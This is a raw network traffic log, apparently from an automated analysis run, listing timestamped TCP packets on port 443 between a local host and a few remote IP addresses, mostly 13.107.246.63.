Nov 25, 2024 15:22:08.915595055 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.948002100 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.948558092 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.001507998 CET	49673	443	192.168.2.8	23.206.229.226
Nov 25, 2024 15:22:09.073266983 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.097130060 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.103244066 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.103257895 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.103360891 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.129065990 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.130042076 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.130163908 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.280590057 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.280674934 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.280819893 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.282738924 CET	49672	443	192.168.2.8	23.206.229.226
Nov 25, 2024 15:22:09.284965038 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.285315037 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.411161900 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.467773914 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.481513977 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.484683990 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.636251926 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.636318922 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.636413097 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.640811920 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.641731977 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.684554100 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.684577942 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.684711933 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.687763929 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.687876940 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.763381958 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.808427095 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.837331057 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.841417074 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.981029034 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.981101036 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:09.981165886 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.981165886 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.984020948 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:09.984138012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.019975901 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.019989967 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.020095110 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.022905111 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.022989035 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.106215954 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.180397987 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.220946074 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.223850012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.377295971 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.377311945 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.377429008 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.380949974 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.380994081 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.507659912 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.507675886 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.507718086 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.507750988 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.510648012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.510760069 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.617856979 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.617978096 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.618061066 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.620568991 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.631082058 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.708410978 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.708486080 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.708523989 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.708570004 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.711941004 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.712857008 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.790971041 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.839647055 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.839682102 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.839715958 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.839761019 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.850657940 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.854296923 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:10.863699913 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.983290911 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:10.983305931 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.041104078 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.045176983 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.068218946 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.068296909 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.068408966 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.068520069 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.072604895 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.072685003 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.165364981 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.192534924 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.192606926 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.192646027 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.192677975 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.196111917 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.197725058 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.199242115 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.319788933 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.393476963 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.397651911 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.402602911 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.402640104 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.402666092 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.402689934 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.405491114 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.405715942 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.527204037 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.527235985 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.527265072 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.527302980 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.530122995 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.530730009 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.530812025 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.655730963 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.728152990 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.731329918 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.738132954 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.738213062 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.738224983 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.738281012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.740921021 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.741035938 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.861499071 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.867152929 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.867202044 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:11.867336035 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.879827976 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:11.880610943 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.007354021 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.062880993 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.065975904 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.067933083 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.068022013 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.070718050 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.190726042 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.208069086 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.211189032 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.216830969 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.216887951 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.216900110 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.216929913 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.219773054 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.219994068 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.340607882 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.392437935 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.395682096 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.419090033 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.423263073 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.545733929 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.545757055 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.545897007 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.595151901 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.618519068 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.673386097 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.746572971 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.797523022 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.798198938 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.801004887 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.821609020 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.869358063 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.873006105 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:12.917768955 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.918169975 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.921118975 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.943490982 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:12.993478060 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.123903036 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.131567955 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.131699085 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.131728888 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.132785082 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.138559103 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.139261961 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.194895983 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.194947004 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.198069096 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.256814003 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.263205051 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.264131069 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.319541931 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.325695992 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.339644909 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.465424061 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.470366955 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.474930048 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.474946022 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.475339890 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.478276014 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.478276014 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.526515007 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.529299021 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.598903894 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.639187098 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.651987076 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.675993919 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.683243036 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.800226927 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.806826115 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.806866884 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.806920052 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.828516006 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.833956957 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.835511923 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.850893974 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.876951933 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.877038002 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.895922899 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:13.951778889 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.956609964 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:13.957933903 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.016499043 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.120042086 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.125798941 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.157718897 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.158123016 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.164319992 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.164362907 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.164427042 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.166860104 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.176637888 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.179296970 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.245811939 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.286933899 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.296621084 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.299261093 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.321314096 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.332926035 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.488815069 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.499696970 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.500045061 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.502743959 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.505074024 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.510535002 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.510617018 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.510644913 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.510710001 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.553170919 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.625133038 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.689440012 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.735861063 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:14.839613914 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.839778900 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:14.839819908 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.040930986 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.090459108 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.142081976 CET	49676	443	192.168.2.8	52.182.143.211
Nov 25, 2024 15:22:15.191740990 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.217780113 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.229770899 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.230586052 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.235337973 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.339564085 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.357244015 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.414856911 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.525264978 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.528757095 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.553824902 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.557331085 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.561769009 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.561819077 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.561839104 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.561878920 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.564821959 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.566699028 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.649177074 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.677297115 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.684912920 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.686665058 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.726284981 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.739375114 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.859769106 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.878777027 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.886198044 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.886265993 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.891392946 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.891501904 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:15.891582012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.910922050 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.911617041 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.912858009 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:15.914982080 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.033790112 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.037041903 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.079710960 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.101365089 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.259208918 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.259231091 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.259339094 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.262325048 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.262706041 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.265238047 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.281279087 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.285032034 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.285613060 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.388067007 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.405725002 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.459563971 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.465384007 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.591365099 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.591466904 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.591557980 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.595088005 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.595364094 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.613059998 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.613132954 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.613147020 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.613353014 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.616899967 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.618305922 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.715348005 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.738337994 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.793585062 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.809712887 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.872168064 CET	49705	443	192.168.2.8	168.119.208.219
Nov 25, 2024 15:22:16.872215033 CET	443	49705	168.119.208.219	192.168.2.8
Nov 25, 2024 15:22:16.872292995 CET	49705	443	192.168.2.8	168.119.208.219
Nov 25, 2024 15:22:16.883800983 CET	49705	443	192.168.2.8	168.119.208.219
Nov 25, 2024 15:22:16.883821011 CET	443	49705	168.119.208.219	192.168.2.8
Nov 25, 2024 15:22:16.921681881 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.921747923 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.921773911 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.921822071 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.924855947 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.924895048 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.943969011 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.944036007 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.944082022 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:16.944154024 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.947062016 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:16.947166920 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:17.044912100 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:17.068058014 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:17.145036936 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:17.148227930 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:17.256027937 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:17.256098986 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:17.256195068 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:17.256247044 CET	49703	443	192.168.2.8	13.107.246.63
